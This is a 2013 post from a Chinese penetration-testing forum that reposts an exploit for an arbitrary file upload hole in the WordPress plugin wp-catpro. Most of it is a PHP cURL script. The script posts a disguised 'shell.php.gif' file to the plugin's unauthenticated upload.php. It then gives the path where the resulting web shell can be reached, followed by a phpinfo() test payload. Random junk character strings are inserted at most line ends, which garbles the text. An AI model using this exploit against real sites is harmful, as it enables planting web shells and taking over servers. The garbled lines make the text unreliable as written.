中国网络渗透测试联盟

标题: WordPress插件wp-catpro任意文件上传 [打印本页]

作者: admin    时间: 2013-2-27 20:12
标题: WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability- b% K5 B) }8 p
#-----------------------------------------------------------------------6 W( L* N4 x- F0 T$ X1 Q

0 Y# y8 O- x- Y, L2 f作者  => Zikou-16& s$ @$ s! S# @4 M  i  {6 b! b
邮箱 => zikou16x@gmail.com- s& ?4 p! J/ N( G% |3 @4 [* j( ?
测试系统 : Windows 7 , Backtrack 5r3
+ Z* K. b# `, c# a下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
, W: l  X7 ?+ e1 A- r) s. v/ l8 p# d####  n/ h( G& p- G' I/ o7 F

$ L+ V. G1 g0 `/ b#=> Exploit 信息:
: }5 }. O& D6 g, w' A8 E. D------------------6 |5 `; H" J& i0 I* v- ^
# 攻击者可以上传 file/shell.php.gif+ J1 G$ @. V( u; K1 E' g
# ("jpg", "gif", "png")  // Allowed file extensions; C2 o, N, {. q+ ?
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)/ A5 V8 S0 a. K) S, U9 c- m- e: u
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
  v9 I8 e% I2 J0 n' T! N+ [" i! z------------------
# l) A+ b9 |+ S
# u0 c* p& @- H/ t5 ^9 m#=> Exploit2 G: {- S" y6 @& M
-----------
2 d8 ]7 M0 R1 H/ |* h<?php
8 e1 f' Z) C# d! E' n6 ^+ n4 ~) K3 V
  {" G( g7 S/ |& r7 F- D% b; X0 @$uploadfile="zik.php.gif";# f3 M) J: u1 E5 I& x6 R  Q
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");1 m! U: V) D0 C7 U3 [
curl_setopt($ch, CURLOPT_POST, true);$ x. P1 Z. Z! L5 c" r
curl_setopt($ch, CURLOPT_POSTFIELDS,
: v, @* J' [) `/ R8 Marray('Filedata'=>"@$uploadfile",& W% D. `2 N& h
'folder'=>'/wp-content/uploads/catpro/'));
1 \( A/ n- k& B7 [- R# Vcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);8 h/ u. n3 F' s
$postResult = curl_exec($ch);
4 {, Z0 q' @% z, e' K: Bcurl_close($ch);
$ R1 O& B4 w& P" ]" j9 J  K- p; a
4 h7 [; F3 f; Pprint "$postResult";8 P9 A) B# x6 d; Z  {0 `
6 C! [, ~( [$ M2 q8 N! h
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif8 r, ?  C0 B) w& C* Z
  ?>
& V; d' [7 k4 @  V$ C1 Y5 u0 J<?php
6 ]1 @, S+ w- M, w8 R' n, j: Tphpinfo();
; w: K; k3 w/ U% K! K* G?>




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2